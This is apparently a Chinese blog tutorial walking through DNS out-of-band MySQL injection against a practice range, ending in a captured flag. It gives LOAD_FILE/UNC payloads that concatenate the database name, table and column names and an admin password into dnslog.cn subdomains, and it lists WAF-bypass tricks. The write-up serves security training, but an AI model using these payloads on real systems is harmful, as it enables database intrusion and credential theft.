MySQL注入 — Dns 注入

搜索公众号:白帽子左一,领配套练手靶场,全套安全课程及工具 

DNS注入原理

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

DNS注入利用的场景

在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看。

DNSLOG的使用场景

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。

对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

DNSLOG的函数解析

LOAD_FILE() 读取文件的函数
读取文件并返回文件内容为字符串。

要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

注:这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=

DNSLOG平台:

https://dns.xn–9tr.com/

https://log.xn–9tr.com/

UNC路径
UNC路径通用命名规则,也称通用命名规范、通用命名约定,类似\softer这样的形式的网络路径。

UNC路径的格式:\\server\sharename\directory\filename

在这里插入图片描述

等同于SELECT LOAD_FILE(’//库名.1806dl.dnslog.cn/abc’

去访问 库名.1806dl.dnslog.cn 的服务器下的共享文件夹abc。

然后1806dl.dnslog.cn的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了error.1806dl.dnslog.cn,然后在DnsLog这个平台上面显示出来了

DNS注入实战

网址:http://59.63.200.79:8014/index3.php

1.传参id=1,WAF拦截

绕WAF的简单方法:

各种编码绕过
字母大小写转换绕过
空格过滤绕过
双关键字绕过
内联注释绕过

这里加了个 2.txt,来绕过waf。

WEB容器的特性:
apache 他会对index3.php/2.txt请求文件不存在,他会请求前一个。

2.判断注入点

http://59.63.200.79:8014/index3.php/2.txt?id=1 and 1=1
用户输入的数据被当作SQL代码执行了,存在SQL注入。

3. 判断当前页面字段总数

http://59.63.200.79:8014/index3.php/2.txt?id=1%20%20order%20by%202
页面正常

http://59.63.200.79:8014/index3.php/2.txt?id=1%20%20order%20by%203
页面不正常

======》字段数为2。

4.查当前数据库

/2.txt?id=1 and load_file(concat(’//’,
database(),’.htleyd.dnslog.cn/abc’))

======》得到库名 mangzhu。

1630849160_6134c88853cedd55611ae.png!small?1630849158973

在这里插入图片描述

5.查表名

/2.txt?id=1 and load_file(concat(’//’, (select table_name from
information_schema.tables where table_schema=database() limit 0,1
),’.htleyd.dnslog.cn/abc’))

======》得到表名 admin

1630849277_6134c8fd2d9fd435fb760.png!small?163084927581
在这里插入图片描述

6.查列名

/2.txt?id=1 and load_file(concat(‘//‘,(select column_name from
information_schema.columns where table_name=’admin’ and
table_schema=database() limit 2,1),’.htleyd.dnslog.cn/abc’))

======》得到列名 password。

7.查字段内容

/2.txt?id=1 and load_file(concat(‘//‘,(select password from admin
limit 0,1),’.htleyd.dnslog.cn/abc’))

======》得到FLAG 1flag1good1。

在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值